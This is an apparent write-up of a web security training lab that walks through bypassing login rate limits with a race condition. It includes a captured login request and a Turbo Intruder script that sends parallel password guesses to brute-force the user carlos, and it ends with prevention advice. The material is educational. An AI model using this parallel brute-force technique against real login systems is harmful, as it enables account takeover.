Modern applications often rely on rate limiting to stop brute-force login attacks. But what happens when that protection is implemented incorrectly?

In this lab, I exploited a race condition in the login mechanism to bypass rate limits and successfully brute-force a user's password.

None

Lab Link: Here

Objective

The goal of the lab was to:

  • Bypass the login rate limit using a race condition
  • Brute-force the password for the user carlos
  • Log in to the admin panel
  • Delete the user carlos

The application already provided valid credentials for a low-privileged user:

wiener : peter

Understanding the Vulnerability

None

The application attempted to prevent brute-force attacks by introducing a time delay after multiple failed login attempts.

However, the rate-limiting logic had a flaw:

It tracked login attempts sequentially, but did not handle multiple simultaneous requests correctly.

This means if several login attempts are sent at the same time, the server fails to update the attempt counter fast enough, allowing multiple guesses before the lockout triggers.

This is a classic race condition.

Step 1 — Capture a Login Request

Using Burp Suite:

  1. Log in as wiener:peter
  2. Log out
  3. Intercept a login request in Burp Proxy

The request looked like:

POST /login HTTP/2
username=carlos&password=wrongpass

I highlighted the password parameter and sent this request to Turbo Intruder.

None

Step 2 — Launching the Race Condition Attack

Turbo Intruder allows us to send multiple HTTP/2 requests in parallel, which is key to exploiting race conditions.

Here's the script used:

def queueRequests(target, wordlists):

    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           engine=Engine.BURP2
                           )

    passwords = wordlists.clipboard

    for password in passwords:
        engine.queue(target.req, password, gate='1')

    engine.openGate('1')


def handleResponse(req, interesting):
    table.add(req)

🔍 What This Script Does

  • Uses HTTP/2 single-packet attack mode
  • Queues all password attempts
  • Releases them simultaneously
  • Overwhelms the rate-limiting logic before it can react

Step 3 — Finding the Correct Password

The lab provided a list of potential passwords.

When the attack ran:

  • Most responses returned the normal login failure
  • One response returned HTTP 302 (redirect)

That indicated a successful login.

Step 4 — Accessing the Admin Panel

Using the valid credentials for carlos, I logged in and gained access to the admin panel.

From there, I deleted the user carlos, which solved the lab.

Why the Rate Limiting Failed

Normally, login protection works like this:

  1. Failed login → counter = 1
  2. Failed login → counter = 2
  3. Failed login → counter = 3 → lock account

But with parallel requests:

  • Multiple login attempts hit the server at the same time
  • The counter isn't updated fast enough
  • Several guesses slip through before lockout

This is called state desynchronization, where security logic depends on timing and fails under concurrency.

How to Prevent This in Real Applications

Developers should:

  • Apply rate limits per session and per IP
  • Use atomic operations when updating login counters
  • Queue or serialize authentication attempts
  • Add CAPTCHA or progressive delays
  • Monitor for burst login attempts

Race conditions are subtle and often missed in traditional testing.

Key Takeaways

✔ Rate limiting alone is not enough ✔ Security logic must be safe under concurrency ✔ HTTP/2 parallelism can be weaponized ✔ Turbo Intruder is powerful for advanced web attacks

NB: If you're learning web security, this lab is a great example of how timing flaws can completely break authentication protections.